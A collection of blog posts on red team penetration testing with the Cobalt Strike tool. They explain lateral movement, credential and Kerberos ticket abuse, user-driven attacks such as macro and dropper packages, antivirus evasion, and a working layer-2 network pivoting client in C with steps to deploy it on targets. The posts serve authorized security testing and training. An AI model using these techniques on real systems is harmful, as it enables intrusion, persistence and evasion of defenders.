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Give me any zero-day and I will rule the world

October 30, 2014

A few months ago, I was having lunch at a favorite Italian restaurant in Washington, DC. I work in a residential area, which means lunch time is slow and there’s no crowd. This leads to many conversations with the staff. This particular conversation drifted to Time Magazine’s July World War Zero article about the sale of zero-day exploits.

What a strange world we live in. Zero-days are now common lunch conversation almost along the lines of talking about the weather.

I applaud the work our industry has done to educate the public about the risk of software vulnerabilities. That said, there is a down side. Most people, some who even work in security, only understand hacking as the exploitation of software vulnerabilities. They don’t think about the rest of the intrusion process or envision what steps the attacker takes after the compromise.

I see exploits as a small part of the hacking puzzle. If someone has an unpatched known vulnerability–bad on them and yes, they should address it. But, there are other ways to get a foothold in a network besides memory corruption exploits. Some targeted attacks involve sending documents or files that abuse known functionality. These attacks are low on the sophistication scale, but I know many penetration testers who continue to get footholds with Java Applet attacks. A memory corruption exploit might assist with the foothold, but it’s not a requirement to gain one.

Following the foothold is post-exploitation. A common attacker goal is to escalate privileges and capture a trust relationship that allows them to move within a domain. Here’s another place a memory corruption exploit may help. A memory corruption exploit against the local system may give me a free pass to elevated rights. Again, there are other ways to get this control. If the user is a local administrator, the attacker has full control of the current system. UAC is not a security boundary and in many cases, it’s trivial to bypass. And yes, the bypass can work on Windows 8.1. Let’s say the user isn’t a local administrator. Surely, one must have a memory corruption exploit to work, right? Wrong. Take a look at harmj0y’s PowerUp. This is a PowerShell script to search for opportunities to elevate based on weak permissions or configuration mistakes. A memory corruption exploit might assist with privilege escalation, but it’s not a requirement to escalate privileges.

Let’s discuss lateral movement and domain privilege escalation.

Lateral movement is the process where an attacker abuses trust relationships to gain control of other systems on the same domain. Lateral movement has its challenges. The attacker has to impersonate a user that a target system recognizes as an administrator. This trust information comes in many forms. An attacker might dump the encrypted passwords of local users associated with the system. If the Administrator account password is the same on another system, the attacker may use this password hash to authenticate to that system and carry out privileged actions. This is the pass-the-hash attack and it does not involve memory corruption. Another form of trust is an access token. This is a data structure, managed by Windows, that contains everything needed to allow a seamless single sign-on experience. An attacker can capture one of these tokens and apply it to their current session. Now, the attacker has the rights spelled out in this token and they may use it to interact with another system [if the target sees the user as an administrator]. This process does not require a memory corruption exploit.

Domain Privilege escalation is the process where an attacker takes systems to capture new trusts until they find a trust that gives them full control of the domain or get the data they’re after. If an attacker captures a token for a Domain Administrator user, it’s game over. The attacker has access to all systems joined to that domain. If the attacker captures a token for a domain user with administrator rights to some systems, the attacker may leverage that token to take control of those systems. This process does not require a memory corruption exploit.

It gets worse. With full control of the domain, the attacker can steal the secret that the domain’s security rests on. This is the password hash of the krbtgt user on a domain controller. If the attacker captures this information, the attacker has the freedom to leave your network for weeks, months, or years at a time. The attacker may come back through a phishing attack and apply a self-generated Kerberos ticket to their current session. With this shared secret in hand, the attacker may create a ticket that allows them to gain the rights of any domain user–without knowledge of that user’s password. In effect, this means the attacker may regain domain administrator rights at any time. This is the Golden Ticket Attack in Mimikatz and it does not require a memory corruption exploit.

I think memory corruption is cool, but hacking goes far beyond it. Hacking is understanding a system well enough to make it do things others didn’t intend. When I teach hacking now, I don’t cover memory corruption exploits. Too many people are stunted by this idea that they must scan for vulnerabilities, find one, and exploit it. This is old thinking. We should teach people that a well-built memory corruption exploit is one access or privilege escalation technique of many. By far, it’s not the whole game.

A penetration test that focuses on vulnerabilities and ignores most of the attack process doesn’t help a customer defend their network better. As offensive professionals, it’s on us to know the steps attackers take and to arm ourselves with knowledge and tools to reproduce them. If we can’t persist, move laterally, steal data, and defeat defenses in a credible way, what use are we to help customers understand their security posture? Creative thinking about these problems won’t happen if we focus too much on one (optional) piece of the hacking process.

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Map of Cobalt Strike Features for Armitage Users

October 22, 2014

I wrote Cobalt Strike and I take it for granted that my users know where things are. This doesn’t come from nowhere though. The users who get the most from this tool have read the documentation, watched my videos, or had a lot of trial and error.

If you’re new to Cobalt Strike, consider this blog post my “Get Started with the Cool Stuff” cheat sheet.

Let’s start with the Cobalt Strike menubar:

menu_cobalt

Under the Cobalt Strike menu are options to control and configure your Cobalt Strike instance. Use New Connection to connect to another team server. Go to Interfaces to work with your Covert VPN interfaces. The Listeners item is where you setup payload handlers. This is also where you configure Beacon. Go to Close to disconnect from the current team server.

menu_view

The View menu is where you reach Cobalt Strike’s data. The Applications item takes you to the results from the System Profiler. Go to Beacons to manage your Beacon sessions. I like to use Ctrl+B to dock the Beacon tab to the bottom of my Cobalt Strike instance. The Web Log item shows the activity on Cobalt Strike’s Web Server. Go to Reporting to generate a report, jump to log files, or export data.

menu_attacks

I keep Cobalt Strike’s custom attacks under the Attacks menu. Visit Packages to generate an executable or a document tied to a listener. Use Web Drive-by to host a file on Cobalt Strike’s web server or start a web drive-by attack. This is where the applet attacks live. Go to Spear Phish to kick off a spear phishing campaign.

menu_help

Under Help, I have one item of special interest to licensed Cobalt Strike users. This is the Arsenal option. This menu takes you to a site where you may download source code to Cobalt Strike’s Applet Kit and Artifact Kit. The Artifact Kit is Cobalt Strike’s solution to swap anti-virus evasion techniques. I make this source code available to licensed users to allow changes for evasion purposes.

menu_login

Cobalt Strike’s workflow for lateral movement [psexec and friends] goes beyond Armitage. You get a few new options such as wmi (token) and psexec (token). All psexec dialogs are setup to work with Cobalt Strike listeners as well. Cobalt Strike also gives you a workflow to manage SSH keys too. Finally, the psexec menus that require executables use Cobalt Strike’s Artifact Kit to generate executables.

Several of Cobalt Strike’s post-exploitation capabilities work with Meterpreter. Let’s take a look at these:

menu_access

Try Access -> Bypass UAC to elevate from a medium integrity context to a high integrity context. This menu uses the Metasploit Framework’s bypassuac_inject module with an Artifact Kit DLL.

menu_interact

Go to Interact -> Desktop (VNC) to get to your target’s desktop via VNC. This option will use a Meterpreter script to stage a VNC server in memory on the target. Once the server is up, Cobalt Strike will connect to it with a built-in VNC client. I had to license the VNC client and I consider it money very well spent.

menu_explore

Explore -> Browser Pivot is the place to start Cobalt Strike’s man-in-the-browser session stealing technology for Internet Explorer. This feature allows you to browse to websites authenticated as your target user. It’s a really interesting pen tester take on a classic crimeware activity.

menu_pivoting

Jump to Pivoting -> Deploy VPN to run Covert VPN on your target’s system. This will create a layer-2 VPN into your target’s network. How this VPN communicates frames is up to you. It can tunnel through Meterpreter or connect to you over HTTP, UDP, or a TCP connection.

Finally, Pivoting -> Listener… creates a pivot listener. This is a little user-interface magic on top of a hidden Metasploit Framework feature. A pivot listener allows you to setup a reverse connection that tunnels through a Meterpreter session. You may use these listeners anywhere a normal listener would work.

And, that’s about it. This post is a good map to find Cobalt Strike’s feature set. You’ll notice this is not a lot of new interface elements. There’s a reason for this. I hate bloated user interfaces. Most of Cobalt Strike’s feature set is in its Beacon payload. Beacon gives Cobalt Strike its new communication channels [DNS, SMB], its indicator flexibility [Malleable C2], and new post-exploitation tools. Beacon has PowerShell integration and its bypass UAC attack works on Windows 8.1. If you want to get the most out of Cobalt Strike as a toolset, study Beacon. This payload will change the way you work.

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How VPN Pivoting Works (with Source Code)

October 14, 2014

A VPN pivot is a virtual network interface that gives you layer-2 access to your target’s network. Rapid7’s Metasploit Pro was the first pen testing product with this feature. Core Impact has this capability too.

In September 2012, I built a VPN pivoting feature into Cobalt Strike. I revised my implementation of this feature in September 2014. In this post, I’ll take you through how VPN pivoting works and even provide code for a simple layer-2 pivoting client and server you can play with. The layer-2 pivoting client and server combination don’t have encryption, hence it’s not correct to refer to them as VPN pivoting. They’re close enough to VPN pivoting to benefit this discussion though.

https://github.com/rsmudge/Layer2-Pivoting-Client

The VPN Server

Let’s start with a few terms: The attacker runs VPN server software. The target runs a VPN client. The connection between the client and the server is the channel to relay layer-2 frames.

To the attacker, the target’s network is available through a virtual network interface. This interface works like a physical network interface. When one of your programs tries to interact with the target network, the operating system will make the frames it would drop onto the wire available to the VPN server software. The VPN server consumes these frames, relays them over the data channel to the VPN client. The VPN client receives these frames and dumps them onto the target’s network.

Here’s what the process looks like:

vpnserver

The TAP driver makes this possible. According to its documentation, the TUN/TAP provides packet reception and transmission for user space programs. The TAP driver allows us to create a (virtual) network interface that we may interact with from our VPN server software.

Here’s the code to create a TAP [adapted from the TUN/TAP documentation]:

#include <linux/if.h>
#include <linux/if_tun.h>

int tun_alloc(char *dev) {
	struct ifreq ifr;
	int fd, err;

	if( (fd = open("/dev/net/tun", O_RDWR)) < 0 )
		return tun_alloc_old(dev);

	memset(&ifr, 0, sizeof(ifr));
	ifr.ifr_flags = IFF_TAP | IFF_NO_PI; 

	if( *dev )
		strncpy(ifr.ifr_name, dev, IFNAMSIZ);

	if( (err = ioctl(fd, TUNSETIFF, (void *) &ifr)) < 0 ) {
		close(fd);
		return err;
	}

	strcpy(dev, ifr.ifr_name);
	return fd;
}

This function allocates a new TAP. The dev parameter is the name of our interface. This is the name we will use with ifconfig and other programs to configure it. The number it returns is a file descriptor to read from or write to the TAP.

To read a frame from a TAP:

int totalread = read(tap_fd, buffer, maxlength);

To write a frame to a TAP:

write(tap_fd, buffer, length);

These functions are the raw ingredients to build a VPN server. To demonstrate tunneling frames over layer 2, we’ll take advantage of simpletun.c by Davide Brini.

simpletun.c is an example of using a network TAP. It’s ~300 lines of code that demonstrates how to send and receive frames over a TCP connection. This GPL(!) example accompanies Brini’s wonderful Tun/Tap Interface Tutorial. I recommend that you read it.

When simpletun.c sends a frame, it prefixes the frame with an unsigned short in big endian order. This 2-byte number, N, is the length of the frame in bytes. The next N bytes are the frame itself. simpletun.c expects to receive frames the same way.

To build simpletun:

gcc simpletun.c -o simpletun

Note: simpletun.c allocates a small buffer to hold frame data. Change BUFSIZE on line 42 to a higher value, like 8192. If you don’t do this, simpletun.c will eventually crash. You don’t want that.

To start simpletun as a server:

./simpletun -i [interface] -s -p [port] -a

The VPN Client

Now that we understand the VPN server, let’s discuss the VPN pivoting client. Cobalt Strike’s VPN pivoting client sniffs traffic on the target’s network. When it sees frames, it relays them to the VPN pivoting server, which writes them to the TAP interface. This causes the server’s operating system to process the frames as if they were read off of the wire.

vpnclient

Let’s build a layer-2 pivoting client that implements similar logic. To do this, we will use the Windows Packet Capture API. WinPcap is the Windows implementation of  LibPCAP and RiverBed Technology maintains it.

First, we need to open up the target network device that we will pivot onto. We also need to put this device into promiscuous mode. Here’s the code to do that:

pcap_t * raw_start(char * localip, char * filterip) {
	pcap_t * adhandle   = NULL;
	pcap_if_t * d       = NULL;
	pcap_if_t * alldevs = NULL;
	char errbuf[PCAP_ERRBUF_SIZE];

	/* find out interface */
	d = find_interface(&alldevs, localip);

	/* Open the device */
	adhandle = (pcap_t *)pcap_open(d->name, 65536, PCAP_OPENFLAG_PROMISCUOUS | PCAP_OPENFLAG_NOCAPTURE_LOCAL, 1, NULL, errbuf);
	if (adhandle == NULL) {
		printf("\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		return NULL;
	}

	/* filter out the specified host */
	raw_filter_internal(adhandle, d, filterip, NULL);

	/* ok, now we can free out list of interfaces */
	pcap_freealldevs(alldevs);

	return adhandle;
}

Next, we need to connect to the layer-2 pivoting server and start a loop that reads frames and sends them to our server. I do this in raw.c. Here’s the code to ask WinPcap to call a function when a frame is read:

void raw_loop(pcap_t * adhandle, void (*packet_handler)(u_char *, const struct pcap_pkthdr *, const u_char *)) {
	pcap_loop(adhandle, 0, packet_handler, NULL);
}

The packet_handler function is my callback to respond to each frame read by WinPCAP. It writes frames to our layer-2 pivoting server. I define this function in tunnel.c.

void packet_handler(u_char * param, const struct pcap_pkthdr * header, const u_char * pkt_data) {
	/* send the raw frame to our server */
	client_send_frame(server, (void *)pkt_data, header->len);
}

I define client_send_frame in client.c. This function writes the frame’s length and data to our layer-2 pivoting server connection. If you want to implement a new channel or add encryption to make this a true VPN client, client.c is the place to explore this.

We now know how to read frames and send them to the layer-2 pivoting server.

Next, we need logic to read frames from the server and inject these onto the target network. In tunnel.c, I create a thread that calls client_recv_frame in a loop. The client_recv_frame function reads a frame from our connection to the layer-2 server. The pcap_sendpacket function injects a frame onto the wire.

DWORD ThreadProc(LPVOID param) {
	char * buffer = malloc(sizeof(char) * 65536);
	int len, result;
	unsigned short action;

	while (TRUE) {
		len = client_recv_frame(server, buffer, 65536);

		/* inject the frame we received onto the wire directly */
		result = pcap_sendpacket(sniffer, (u_char *)buffer, len);
		if (result == -1) {
			printf("Send packet failed: %d\n", len);
		}
	}
}

This logic is the guts of our layer-2 pivoting client. The project is ~315 lines of code and this includes headers. Half of this code is in client.c which is an abstraction of the Windows Socket API. I hope you find it navigable.

To run the layer-2 pivoting client:

client.exe [server ip] [server port] [local ip]

Once the layer-2 client connects to the layer-2 server, use a DHCP client to request an IP address on your attack server’s network interface [or configure an IP address with ifconfig].

Build Instructions

I’ve made the source code for this simple Layer-2 client available under a BSD license. You will need to download the Windows PCAP Developer Pack and extract it to the folder where the layer-2 client lives. You can build the layer-2 client on Kali Linux with the included Minimal GNU for Windows Cross Compiler. Just type ‘make’ in its folder.

Deployment

To try this Layer-2 client, you will need to install WinPcap on your target system. You can download WinPcap from RiverBed Technology. And, that’s it. I hope you’ve enjoyed this deep dive into VPN pivoting and how it works.

The layer-2 client is a stripped down version of Cobalt Strike’s Covert VPN feature. Covert VPN compiles as a reflective DLL. This allows Cobalt Strike to inject it into memory. The Covert VPN client and server encrypt the VPN traffic [hence, VPN pivoting]. Covert VPN will also silently drop a minimal WinPcap install and clean it up for you. And, Covert VPN supports multiple data channels. It’ll tunnel frames over TCP, UDP, HTTP, or through Meterpreter.

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The Best DerbyCon 2014 Talks for Red Teams

October 6, 2014

DerbyCon is one of my favorite conferences. I think its review committee does a good job choosing talks that are relevant, not just novel for the sake of novel. I worked my vendor table the whole weekend, but thanks to Irongeek’s amazing speed at putting videos online, YouTube’s 2x playback feature, and post-con insomnia–I went through a lot of DerbyCon material. Here’s my list of talks that are most relevant to red team operations.

Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades

This is probably my favorite DerbyCon 2014 talk. Tim Medin demonstrates how to request Kerberos service tickets, dump them from memory, and crack the passwords of these service accounts. He then demonstrates how to forge new tickets with the cracked password and give yourself elevated rights in some service contexts. It’s a pretty amazing talk and it’s something I plan to play with in my lab.

Secrets of DNS

In this talk, Ron Bowes shows some interesting uses of DNS. All of this was just a warm up though. Towards the end he introduces DNScat 2, a post exploitation agent that uses DNS to communicate. He talks about some of the lessons learned from the original DNScat and goes through his roadmap to build up DNScat 2, including a planned SOCKS pivoting feature. He also took the time to share the challenges of building a communication channel on top of DNS. Things like queries sent multiple times, queries that arrive out of order, and caches that hold on to things forever. I know, first-hand, the amount of work it takes to pull something like this off and this talk is a must-watch for anyone who (ab)uses DNS as a data channel.

Passing the Torch: Old School Red Teaming and New School Tactics

In this talk David McGuire goes through “old school” ways to interrogate a domain, abuse trust relationships, and steal interesting data. These topics and this process don’t get enough attention in our community. David woke me up to this and it has had a major impact on how I hack over the past two years. To see this influence, compare the lateral movement videos I’ve cut over the past four years: 2011, 2012, 2013, and 2014.

Will Schroeder is one of the developers of the Veil Framework. He also writes a lot of awesome stuff [1, 2] in PowerShell. Like me, Will hates doing things a computer could do better. Will has worked to automate a lot of David’s tradecraft and develop some of his own.

The talk covers a lot of information very quickly. The big pay off is at the end when David and Will each execute their methodologies to show the Old School vs. New School way of hacking. Now that Cobalt Strike’s Beacon supports PowerShell, I expect that my process will evolve to rely on these new school tactics.

Et tu Kerberos

This talk is a great survey of the Golden Ticket attack in Mimikatz. Chris Campbell goes through recent history about pass-the-hash, talks about the Golden Ticket attack and where it came from, and offers some pointers on which mitigations do and don’t work.

Red Teaming Back and Forth 5ever

I used to work for Automattic, the company behind WordPress.com. Almost everyone in the company had an Apple computer. I’m Windows focused in my product and I’ve wondered what tactics work in a MacOS X environment. Fuzzynop provides the answer. In this talk, he goes through his quick and dirty C&C for MacOS X. He also digs into quick and dirty post-exploitation tricks for MacOS X as well. If you have to go against a MacOS X environment or you just want to watch an entertaining talk from a hacker who has to think different, I highly recommend this one.

Getting Windows to Play with Itself: A Pen Tester’s Guide to Windows API Abuse

This last talk comes from Brady Bloxham at Silent Break Security. I’ve known Brady since 2011 and he’s scary brilliant. In this talk, Brady challenges the audience to expand their capability-level beyond that of the casual attacker. This is an important call to arms and I agree with what Brady says here. This talk starts out with some advanced Windows persistence techniques, a primer on process injection, and tips to build on this material. The real pay off happens at the end. Brady introduces Throwback, a stealthy beaconing persistent-agent that’s now open source. You’ll want to check it out as a possible tool for your arsenal. If you want to learn to build your own tools, Brady Bloxham and Bryce Kunz are teaching Dark Side Ops: Custom Penetration Testing at BlackHat Trainings DC in December 2014.

If you watched these videos, you’ll notice there’s a theme. Each of these talks is a post-exploitation talk. Attackers will get in. We can’t just enumerate the ways this may happen. We have to help our customers understand their ability to slow down, detect, or frustrate a motivated and well-resourced attacker, post-compromise. Each of these talks operates with this fundamental assumption.

Each of these talks also demonstrates new tools and new approaches. You can’t represent a credible threat with commodity capability only. If you’re going to play at this level, you’ll need to  retool and rethink your approach. You can build capability or buy it.

Final note, trust relationships matter. There are many ways to attack and abuse trust. We’re just scratching the surface here. The best talks are going deep into this subject. This is the present and future of hacking modern enterprises.

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User-driven Attacks

October 1, 2014

A user-driven attack is an attack that relies on a feature to get code execution. Most penetration testers I know rely on user-driven attacks over public memory corruption exploits. User-driven attacks are less likely to see a patch and they usually target an application in a way that works across many versions. What’s not to like?

Cobalt Strike offers several user-driven attacks. In this post, I’ll give you a quick tour of what’s available. These are my options to help you get a foothold.

Document Dropper

This attack combines a payload stager and a document into an executable. When run, this executable drops the document to disk, opens it, and silently loads your payload. This attack is low on the sophistication scale, but it’s very common in targeted attacks. To help with evasion, the final executable is made by Cobalt Strike’s Artifact Kit.

Go to Attacks -> Packages -> Windows Dropper to create this package.

Tip: Use a resource editor to change the icon of the executable, burn it to a disk, and mail it to your target. Used this way, the document dropper is an effective attack.

Firefox Add-on

This attack stands up a website that asks the user to install a Firefox add-on. If the user installs the add-on, you get code execution. Cobalt Strike relies on the Metasploit Framework’s implementation of this attack.

Go to Attacks -> Web Drive-by -> Firefox Add-on Attack to start this attack.

HTML Application

An HTML Application is a Windows program made up of HTML and VBScript/JavaScript. This package makes an HTML Application that drops an executable to disk and runs it.

Go to Attacks -> Packages -> HTML Application to create this package.

Java Signed Applet

The Java Signed Applet attack is the ms08_067_netapi of user-driven attacks. It’s so common in demonstrations that you’d think it’s the only social engineering attack out there. This attack starts a web server that hosts a Signed Java Applet. You get code execution if the user allows the applet to run. Cobalt Strike’s Applet Kit uses JNI to inject your payload into memory.

Go to Attacks -> Web Drive-by -> Signed Applet Attack to start this attack.

Tip: By default, Java 1.7u51 and later do not allow applets with self-signed certificates to run. To get the most from this attack, buy a code signing certificate. Go to Help -> Arsenal in Cobalt Strike to download the source code to the Applet Kit. Sign the applet and load the included Cortana script to make Cobalt Strike use your applet.

Microsoft Office Macro

This is my favorite attack in this bunch. This package generates a VBA macro. Embed this macro into a Word document or Excel spreadsheet and send it to your target. The user has to click Enable Content to run your macro. If they do, look out! This attack will spawn a new process and inject your shellcode into it.

Go to Attacks -> Packages -> MS Office Macro to create this package.

Why Cobalt Strike?

In this post, I took you through Cobalt Strike’s user-driven attack options. These are staple attacks that integrate well with Cobalt Strike’s existing features. What are the benefits of using Cobalt Strike to execute these attacks?

Each of these attacks can deliver Cobalt Strike’s Beacon payload. Beacon is a “low and slow” post-exploitation payload that allows you to use custom indicators. Special care went into the shellcode that stages Beacon too. The HTTP stager takes steps to get out through restrictive web proxies. You may also stage Beacon over DNS as well. A well executed attack is no good if you can’t get out of your target’s network.

Cobalt Strike provides a path for evasion. The attacks that rely on executables use Cobalt Strike’s Artifact Kit. This is a source code framework to make executables that smuggle shellcode past anti-virus products. Source code for the Applet Attack is available if you need to change it as well.

The attacks that inject shellcode into memory intelligently account for 64-bit and 32-bit applications. You won’t lose a shell because the user ran your macro in 64-bit Microsoft Word. The attacks that inject shellcode also migrate your payload right away. This protects you if the user closes the application.

A lot of thought goes into each feature in Cobalt Strike. The user-driven attacks are no exception to this.

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Cobalt Strike 2.1 – I have the POWER(shell)

September 23, 2014

For a long time, I’ve wanted the ability to use PowerUp, Veil PowerView, and PowerSploit with Cobalt Strike. These are useful post-exploitation capabilities written in PowerShell.

You’d think that it’s easy to run a script during the post-exploitation phase, especially when this script is written in the native scripting environment for Windows. It’s harder than you’d expect. Existing options require one-liners that Invoke-Module a local file or grab a script from a third-party web server. This hurdle prevents non-PowerShell developers from seeing what’s possible.

During this last development cycle, I decided to work on this problem. Beacon now runs your PowerShell post-exploitation scripts. This feature does not touch disk and it does not connect to an external host or site.

beaconpowershell

Here’s how to use it:

The powershell-import command loads a PowerShell script into Beacon. This script stays in memory for the duration of the Beacon session.

Use the powershell command to invoke expressions and cmdlets that reference the contents of the imported script. You may also tab complete cmdlets from the imported script with the powershell command too.

This video demonstrates privilege escalation with PowerUp and Invoke-Mimikatz with PowerSploit. All of this happens without leaving Beacon:

A lot of care went into designing this feature for its post-exploitation use case. Expressions run, in the background, for as long as necessary. Each time Beacon checks in, it will grab output from each PowerShell script that’s still running.

For the non-PowerShell developers reading this, welcome to a new world of post-exploitation. You’ll feel like a giddy kid in a candy store as you browse through Github and see the easy-to-use features available to you now.

PowerShell developers, there’s something here for you too. You no longer need to design post-exploitation capabilities that bundle their own communication and delivery methods. You can just load your favorite tools and use Beacon to drive them.

Covert VPN Revamp

While PowerShell integration is the headline feature, Cobalt Strike 2.1 has a lot of other goodies. The Covert VPN feature had a good deal of maintenance. The VPN client is now a Reflective DLL which makes deployment much smoother. Covert VPN also gained a TCP (Bind) data channel to tunnel frames through meterpreter.

HTML Application Attack

Cobalt Strike 2.1 also gains the HTML Application User-driven attack. I don’t think this is going to change anyone’s life, but you can never have too many options to get a foothold in a target network. This package generates an HTML Application that drops and runs an executable. I opted to tie this attack to an executable as this gives you flexibility to drop a silent executable, a document dropper executable, or something else.

Malleable SSL

This release also builds on the Malleable C2 feature added in Cobalt Strike 2.0. You may now specify values for the self-signed SSL certificate Beacon’s web server uses. This is an opportunity to introduce indicators that mimic SSL-enabled remote access tools.

There’s a lot more in this release. You’ll want to consult the Release Notes for the full picture. As usual, a 21-day trial is available at the Cobalt Strike sites. Licensed users may use the built-in update program to get the latest.

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The Post Exploitation Team

September 18, 2014

I often get asked about red team skills and training. What should each team member know how to do? For exercises or long running attack simulations, I believe it’s fruitful to put junior members into the post-exploitation role first. This post describes the post-exploitation team, where they fit into the overall engagement, and their core tasks and skills.

Context

Before we dig into the post-exploitation team, let’s go big picture for a moment. The following diagram is from my 2012 Dirty Red Team Tricks II talk at DerbyCon. It shows the model for hand-off from persistent access to post-exploitation that I saw evolve during the 2011 and 2012 CCDC seasons.

teamprocess_updated2

This diagram isn’t far off from the infrastructure and access hand-off model that I recommend today. The main difference is that I recommend the use of staging servers. These servers act as an intermediary between the servers for long-haul persistence and interactive post-exploitation.

The workflow from the above diagram is still the same.

Getting to Post Exploitation

An access team works to get a foothold into a target network. There’s a lot that goes into getting a foothold–especially when it’s important to not get caught.

The next step is to escalate privileges on the network, ideally to domain administrator. Domain administrator is not always required to accomplish a specific goal. It’s a stepping stone to easily accomplish a goal on a network.

It’s important to also setup persistent payloads through the network so that the red team may regain a foothold, with privileges. These payloads should call home to the long-haul infrastructure.

These steps to get a foothold, elevate access, and execute a persistence plan are (potentially) hard. These steps depend on the target environment and may require custom code to succeed. You want your strongest people available for these tasks.

Post Exploitation

As sexy as it is to break in, take the terrain, and hold it, no one breaks into networks and holds them for no anticipated purpose. It’s important to have objectives. Depending on the engagement, these objectives may mirror those a likely adversary would go after or they should satisfy training criteria for a network defense team.

Conducting post-exploitation activity and working on objectives is something well-trained, but potentially junior, red team members can do.

What should the post-exploitation team know how to do? What are their core skills? These team members should know how to task an asynchronous agent into interactive access. I arbitrarily define interactive access as a payload that calls home on a one minute interval or faster.

Interactive control should always happen on infrastructure that is separate from the infrastructure used to receive low and slow callbacks. This helps protect the red team’s operational security. If an interactive access gets caught, you do not want to lose all of your persisted access because of it. Ideally, the tool for interactive access is different from the tool for low and slow access [or, at least, different indicators!].

Once a team member has access to a system, they have to work from that access. They must know how to navigate a file system, download files, log keystrokes, take screenshots, hijack browser sessions, and otherwise grab whatever satisfies the objective they’re out to meet. They should also know how to interpret the output from each of these tasks and act on this information. They must also know how to triage sources of information and find what’s interesting, quickly.

Team members should know lateral movement, cold. They must know how to work with credentials, tokens, and Kerberos tickets. They should know their options to touch other systems with these things. If they need to use a payload (NOT always the right answer); they should know how to bootstrap the payload with PowerShell when it’s possible. If they have to fall back to an executable, they should know how to generate an anti-virus safe artifact.

Concretely, I expect post-exploitation team members to know how to start a remote process with psexec, at, schtasks, wmic, and sc. This skill also requires the team member to understand the nuances of which artifacts they can and can’t use with each of these. For example, if I try to schedule a plain executable with sc it will fail. Why? Because sc expects an executable that responds to Service Control Manager messages. If I schedule an executable that doesn’t do this, Windows will kill it very quickly.

All red team members should have judgement. They should know that the direct route isn’t always the best way to fulfill a requirement.

Team members should understand that some post-exploitation actions will fail depending on several contextual factors. Troubleshooting these contextual factors comes with experience. It’s helpful to have a senior lead on hand to step in when a junior member gets stuck.

All red team members should know how to tunnel external tools through any interactive post-exploitation tools in use. SOCKS and proxychains are good topics of study. All red team members should also have strong knowledge of the standard clients that interact with common services.

Finally, red team members should know how to clean up after themselves. If they’re done with an interactive access, they should know to drop it.

These core skills cover most of the work a post-exploitation team will do. Train several junior members with these skills, assign them to a senior lead, and you’ll get a lot of use out of them. They’ll grow during the engagement too.

Tradecraft, parts 4 through 9, covers these topics.

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